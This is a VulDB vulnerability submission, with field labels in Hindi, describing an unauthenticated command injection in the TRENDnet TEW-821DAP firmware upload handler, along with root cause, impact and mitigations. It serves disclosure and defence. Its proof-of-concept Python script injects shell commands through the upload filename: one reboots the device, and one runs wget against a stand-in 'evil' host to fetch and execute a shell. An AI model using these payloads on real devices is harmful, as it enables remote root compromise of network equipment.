| शीर्षक | TRENDnet TEW-821DAP Wireless Access Point v2.2.01b05 Command Injection |
|---|
| विवरण | A command injection vulnerability exists in the `cgi/ssi` binary of TRENDnet TEW-821DAP Access Point firmware v2.2.01b05. The file upload / firmware upgrade handler reads the user-supplied filename via `getenv("filename")` and passes it unsanitized directly to `_system()`. An unauthenticated attacker can inject arbitrary system commands by crafting a malicious filename in the multipart file upload request, leading to full remote code execution with root privileges on the device.
---
## Technical Details
### Root Cause
The vulnerable code path is:
```
HTTP multipart POST → cgi/ssi → getenv("filename") → _system(crafted_cmd)
```
The CGI handler responsible for processing file uploads and firmware upgrades extracts the filename from the `Content-Disposition` header of the multipart form data using `getenv("filename")`. The retrieved filename is then concatenated directly into a system command string and executed via `_system()` without any sanitization or escaping of shell metacharacters.
### FirmRec / Symbolic Execution Evidence
```
0x4325088: getenv("filename") → _system → Command Injection
Simexp: CVE-2020-10214 @ 0x4325088, PC=0x41414141 (4 hits)
```
Additional code paths confirmed in the same binary:
- `getenv("ca_type")` → `strcpy` → Stack Overflow at `0x4356376`
### Affected Attack Surface
The vulnerability is reachable via the HTTP management interface (typically port 80/443). No authentication is required to access the upload endpoint.
---
## Proof of Concept
```python
#!/usr/bin/env python3
"""PoC: TEW-821DAP ssi filename Command Injection | CWE-77 | CVSS 9.8"""
import requests
import sys
TARGET = sys.argv[1] if len(sys.argv) > 1 else "192.168.10.1"
# Payload 1: Reboot device via injected ; reboot; command
r = requests.post(f"http://{TARGET}/cgi-bin/upload.cgi",
files={"file": ("; reboot; #.txt", b"test")}, timeout=5)
# Payload 2: Download and execute remote shell
r = requests.post(f"http://{TARGET}/cgi-bin/upload.cgi",
files={"file": ("; wget http://evil/shell -O /tmp/sh; sh /tmp/sh & #.txt", b"test")}, timeout=5)
```
### Expected Result
The injected command is executed with root privileges. In the first payload, the device reboots. In the second, a reverse shell is established. If the device crashes or becomes unresponsive after the request, command injection is confirmed.
---
## Impact
Successful exploitation allows an unauthenticated remote attacker to:
- Execute arbitrary system commands with **root privileges**
- Gain full control of the affected access point
- Intercept, modify, or redirect network traffic
- Pivot to other devices on the internal network
- Install persistent backdoors or malware
- Cause denial of service (device reboot/crash)
The attack requires no user interaction and can be executed from the LAN or WAN side if the management interface is exposed.
---
## Solution / Mitigation
### Vendor Recommendations
1. Replace `_system()` with a safe API call that does not invoke a shell (e.g., `execve()` or equivalent)
2. Validate and sanitize all user-supplied filenames — allow only alphanumeric characters, periods, underscores, and hyphens
3. Use a whitelist approach for filename validation rather than blacklisting shell metacharacters
4. Implement parameterized system calls where the filename is passed as an argument rather than interpolated into a command string
### User Mitigations (until patch is available)
- Restrict access to the device's web management interface via firewall rules
- Disable remote (WAN) administration
- Monitor network traffic for unusual outbound connections from the device
---
## |
|---|
| स्रोत | ⚠️ https://github.com/dxz0069/WAVLINK-WN530H4-Command-Injection-in-set_add_routing/blob/main/TEW-821DAP_ssi_Arbitrary_File_Command_Injection.md |
|---|
| उपयोगकर्ता | ST4R0002 (UID 99571) |
|---|
| सबमिशन | 06/07/2026 02:04 PM (2 महीनों पहले) |
|---|
| संयम | 21/08/2026 08:42 PM (2 months later) |
|---|
| स्थिति | स्वीकृत |
|---|
| VulDB प्रविष्टि | 394174 [TRENDnet TEW-821DAP 2.2.01b05 ssi /cgi-bin/upload.cgi filename अधिकार वृद्धि] |
|---|
| अंक | 20 |
|---|